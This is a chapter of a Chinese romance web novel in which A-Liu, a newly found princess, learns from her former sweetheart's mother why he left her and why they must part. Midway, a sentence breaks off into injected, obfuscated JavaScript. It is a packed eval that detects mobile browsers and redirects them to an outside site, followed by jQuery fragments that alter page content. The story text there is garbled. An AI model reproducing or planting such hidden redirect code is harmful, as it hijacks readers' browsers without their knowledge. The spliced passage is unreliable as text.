回到驿馆时,天已擦黑,阿柳远远就看见了院中那辆朱轮华盖的马车。
车辕上镇国公府的徽记让她心头发酸。
邰玉轩的夫人是谁,叫什么名字,长什么模样,又为什么一来便要见自己……
阿柳的手指无意识地绞着衣角,那件靛青色的罗裙已经被揉出了几道褶皱。
此时驿馆的院子里,几个身着靛蓝劲装的侍卫肃立如松,衣襟上镇国公府的家徽在火光的照耀下泛着冷光。
“阿柳,你若是不想去,咱们推说身子不适就好了,不必非要听她的。”云溪递来一杯热茶,氤氲的热气模糊了阿柳的视线,“那邰玉轩的夫人再尊贵,又还能比得过你这东陵公主去?”
茶盏在掌心发烫,阿柳却感觉指尖冰凉,她想起这些时日与邰玉轩相处的点点滴滴。
为她送药,为她添衣……那时的他眼中分明有千言万语,但最终说出口的却始终只有一句“天寒露重,多加小心”。
“不必了。”阿柳放下茶盏,瓷器与木桌相碰,发出沉闷的声响,“该来的总要来。”
穿过回廊时,寒冬的风裹着细雪钻进领口。
阿柳恍惚想起丹骆村的春天,邰玉轩总会用新折的柳枝给她编花环,那时他笑着说等柳絮纷飞时就娶她过门,阿柳不依,然后他便会把花环戴在阿柳的头顶,说他会等。
等一年,等两年,等十年二十年,等到阿柳点头的那一天,便让阿柳做全天下最美的新娘。
那时候的他们真好啊!
只可惜少年人的誓言轻得就像飘落的柳絮,风一吹,便散了……
领路的嬷嬷在一扇雕花木门前停下。
阿柳深吸一口气,努力告诉自己一定要尽量平静,等她好不容易调整好心态,抬头一瞧却又骤然怔住。
只见那端坐在紫檀圈椅上的不是想象中的年轻贵妇,而是一位鬓发如霜的老夫人。
金丝楠木拐杖斜倚在案几旁,杖头镶嵌的翡翠在烛光下泛着幽幽碧色。
阿柳这才惊觉,眼前的这位夫人,竟是镇国公夫人,邰玉轩的母亲。
她是邰玉轩的母亲!
阿柳的心情就像是坐摇椅,时而高,时而低,摇摆到现在,总算是多出了几分劫后余生的喜悦。
“老身冒昧请公主前来,还望见谅。”老夫人声音沉静,眼角的纹路里藏着岁月沉淀的威严。
“夫人折煞阿柳了。”她慌忙行礼,绣鞋尖在青砖地上蹭出一道浅痕。
案几上鎏金香炉升起袅袅青烟,老夫人指了指下首的绣墩,“坐吧。”
阿柳半个身子虚坐在绣墩边缘,背挺得笔直。
“想必公主心里有许多疑问。”
她看见老夫人从袖中取出一个泛黄的纸封,纸封边缘已经起了毛边。
阿柳敛眉移开目光:“阿柳不知夫人何意。”
这自然是客套话,可老夫人像是无意寒暄,所以并未理会阿柳的客套。
“老身今日来是想告诉公主,轩儿当年并非有意负你。”老夫人枯瘦的手指抚过信封,“当年东陵城战败,国公府男丁尽殁,老身循着线索找到丹骆村时,那孩子正蹲在檐下雕木簪。”
阿柳的指甲深深掐进掌心。
她记得那支木簪,邰玉轩离开的前一天晚上,她还隐约看见那只木簪上已经有了并蒂莲的雏形。
那是他为她十一岁生辰准备的礼物。
“他本不愿走的。”老夫人叹息时,腕间的佛珠相互碰撞,“直到老身说,若他不回国公府,不将这满府的荣誉一肩扛起,那些虎视眈眈的旁支第一个要除掉的人必然就是你!”
香炉里突然爆出个火星,阿柳浑身一颤。
她抚摸着手腕上的那条红绳,这些年的心结总算是有了一个宣泄的出口。
“这信……”老夫人将信封推过来,“他当时写了整整一夜,托我一定要交到你的手中。”
纸页已经脆黄,阿柳接过之后抖着手打开,熟悉的字迹刺得她眼眶生疼。
那些笔画比她记忆中的更加青涩,却一笔一划都力透纸背。
邰玉轩在信里说等他安顿好就来接她,说他的新娘只会是丹骆村的阿柳,说要她把自己照顾好等着他来接她的那一天……
“那这封信当初为何没有交到我的手上?”阿柳的眼泪砸在信纸上,晕开一朵小小的花。
如果有这封信,她绝不会怨恨他这么久!
“是我留下的信。”老夫人的声音突然严厉起来,“当时的你只是个孤女,而轩儿作为国公府唯一的孩子,只等建功立业,便要承袭世子之位,以你的身份,如何配得上他!高门子弟,娶妻断没有随心所欲之说,所以不管是当时将你带在身边,还是日后接你进府,你能得到什么身份?通房?侍妾?还是一个上不得台面的外室?你甘心吗!老身不想为难你,所以就此了断,对你,对他,其实都是最好的结果!”
阿柳猛地抬头,泪水还挂在睫毛上:“那便如你所说,当初是我高攀不上他,可如今我是公主,难道我堂堂一国公主,还配不上他一个世子!”
“那他可有说过要娶你?”老夫人锐利的目光仿佛能穿透人心,“护送你回宫这一路走来,他可曾向你提过半句将来?”
窗外传来整齐的脚步声,是侍卫在换岗。
阿柳突然想起这些日子的相处,尽管她能察觉到邰玉轩眼底偶尔遗漏出的缱绻爱意,可他却总是用一些看似生疏的语气和动作来把自己往外推,甚至就连为她披衣时,都要先客气地道上一声“冒犯”。
之前她还当是因为他已娶妻,所以克己复礼,她也因此没在过多打扰。
可是如今看来,显然并不是这么回事。
“北甸战事虽平,但裕嘉如今又虎视眈眈,说不准哪一日这战事便会再起,武将的归宿从来都是马革裹尸。”老夫人起身时,腕间佛珠哗啦作响,“公主金枝玉叶,往后自是数不尽的荣华富贵,又何必在他身上浪费时间。如今是轩儿配不上你了,他也不会让你白白跟着他受苦的。”
老夫人说着,手中的拐杖重重杵地,“你们俩呀……是注定殊途!”
阿柳不甘的问道:“夫人的意思,也是他的意思吗?”
她说着豆大的泪珠像是断了弦的珠子似的,直往地上砸。
那些克制守礼的举止,原来不是生疏,而是画地为牢!
但老夫人还未说话,却听远处突然传来沉闷的一声“咚”响,像是有人重重跪在了地上。
阿柳循声望去,透过雕花窗棂,看见隔壁厢房门窗大开。
而邰玉轩正直挺挺地跪在案前,案上放着的,正是老夫人此行从国公府祠堂带出来的镇国公牌位。
邰玉轩也不知是跪了多久,穿着玄色劲装的后背此时已经渗出汗迹,在烛光下显出深色的痕迹。
“他在领家法。”老夫人语气平淡,“他不该私自带着你回京的。”
邰玉轩的侧脸在烛火中明明灭灭,下颌绷出锋利的线条,阿柳的指尖无意识地描摹着窗棂花纹,木头的纹理粗粝磨人。
老夫人接着说道:“你带着虎符,自称公主,按理来说他应当先禀明圣上,由圣上下旨宣他带你进京才算合规。但他直接略过圣上相信了你的公主之说,竟是传信的同时便将你带上了路。如此若到了御前,你无法证明自己是真的公主,那即便他此次出征北甸战功赫赫,想来也是会惹了圣上不喜,连累镇国公府。”
阿柳不解:“既然我的身份还没得到圣上的确认,那夫人为何一见我就称我为公主呢?”
“因为大公主胥嘉在轩儿的消息传回东陵的前一日,便先一步坦白了自己并非皇室血脉。”老夫人面露沉思,“之后轩儿的消息传回东陵,再加之你手上握着虎符,你这公主的身份,便已经有九成真了。”
胥嘉?
阿柳倏地想起先前遇见的那名手持弯刀的黑衣人,当时邰玉轩赶回,他像是提前察觉,之后便立马消失地无影无踪了。
从他和陆贾的交谈之中可以发现,他定然是胥嘉的人,所以胥嘉会突然坦白身份,想必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974173|177870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也是因为提前从此人手中得知了消息。
以退为进,这位假公主看来要比自己想象中的更难对付。
“老身今日所言,还望公主好生思量。”老夫人端起桌上的茶盏,这是要送客了,“明日轩儿会亲自护送你去往皇城,但老身希望此行便是你们最后一次见面。往后你是公主,他是臣子,这缘分,便断了吧……”
阿柳没等她说完就冲了出去。
回廊的风卷着雪粒子扑面而来,她觉得今夜似乎格外的冷,冷得她想逃。
逃去哪里她不知道,但却希冀着越远越好,最好远到此生都不会再与邰玉轩相见。
可是在经过那扇敞开的窗前时,她还是不由自主的放慢了脚步。
邰玉轩依旧跪得笔直,牌位前的线香已经烧了大半,灰白的香灰弯曲着不肯坠落。
有那么一瞬间,阿柳觉得他转过头来了。
隔着飞舞的雪沫,隔着七年的光阴,隔着永远无法跨越的身份鸿沟。
但她终究还是没有上前,她转身,没有停下脚步,就像当年村口捡到的那条红绳。
断了,就是断了。
只是她不知道,行至回廊拐角时,窗纸上那道熟悉的影子,其实也循着她的方向歪了头。
……
“怎么样?”等回到房间时,云溪手里正捧着那盏今日新买的铜雀灯。
她一脸好奇的凑到阿柳的跟前,“她说了什么?是不是耀武扬威地说邰玉轩是她一个人的,让你离他远一点,说一看见你的眼睛就想起什么,还有什么午夜梦回原来他叫的居然是你的名字,她说这些了吗?……你怎么看起来不太开心啊,是不是她欺负你了?刚好咱们现在收了个护卫,要不要我去把褚奎叫起来偷偷揍她一顿?”
云溪叽里呱啦地说个没完,阿柳多数都没听进去。
她现在的心情实在是不想再谈论这些,所以只道了句:“夫人是镇国公夫人,她是邰玉轩的母亲。”
“母亲?”云溪却更兴奋了,“原来他没成婚啊!我就说嘛,到死都牵挂着你的人怎么可能半道上和别的女人在一起,我一开始就看好你们俩的,现在连他娘都见过了,那你们岂不是马上就要过上没羞没臊的幸福生活了!”
阿柳没吭声,她望着铜雀灯灯罩上绘制的比目鱼,突然想起从前邰玉轩教她认字时说过,这种鱼双目同侧,一生只得相伴而行。
“得成比目何辞死……”阿柳鬼使神差的想起这句词。
她的指尖抚过灯罩边缘翘起的竹篾,像是触碰着记忆里逐渐褪色的温度。
原来世间最残忍的事,不是两条鱼被迫分离,而是明明近在咫尺,却永远隔着一汪望不穿的秋水。
她忽然觉得连呼吸都带着咸涩,像是被封存在深海里的月光,在漫长的岁月里,碎成了再也拼不拢的残片。
灯芯爆了个灯花,阿柳抬手抹了把脸,才发现掌心早已被指甲掐出了月牙形的血痕。
“阿柳,邰玉轩会成为你的驸马吗?到时候你们是住在皇宫,还是住在他家?你们的孩子要叫什么名字呀?”片刻的功夫,云溪已经将他们的半生都给想好。
可惜寒风穿堂而过,早已卷走了少女所有的憧憬与幻想。
“不说了,睡吧。”阿柳吹熄了灯,躺上床后,又在黑暗中睁着眼睛。
而云溪还当她是太累,小声的应了一声“哦”后,便听话的收拾好东西安静睡在她的身旁。
……
后半夜,窗外又落起了雪。
阿柳恍惚看见邰玉轩穿着大红喜袍在向她伸手,可转眼间,喜服就化作了染血的战甲。
她一个人站在空荡荡的灵堂上,看着灵堂的白幡猎猎作响。
而供桌上用金漆刷着“邰玉轩”三个字的牌位,刺得人眼睛生疼!
阿柳骤然惊醒,天还未亮,手下的枕畔湿了大片。
云溪在身旁睡得正熟,而那盏铜雀灯,不知何时又被点燃。
暖黄的光晕里,两条孤独的比目鱼,正在珊瑚间交颈而游。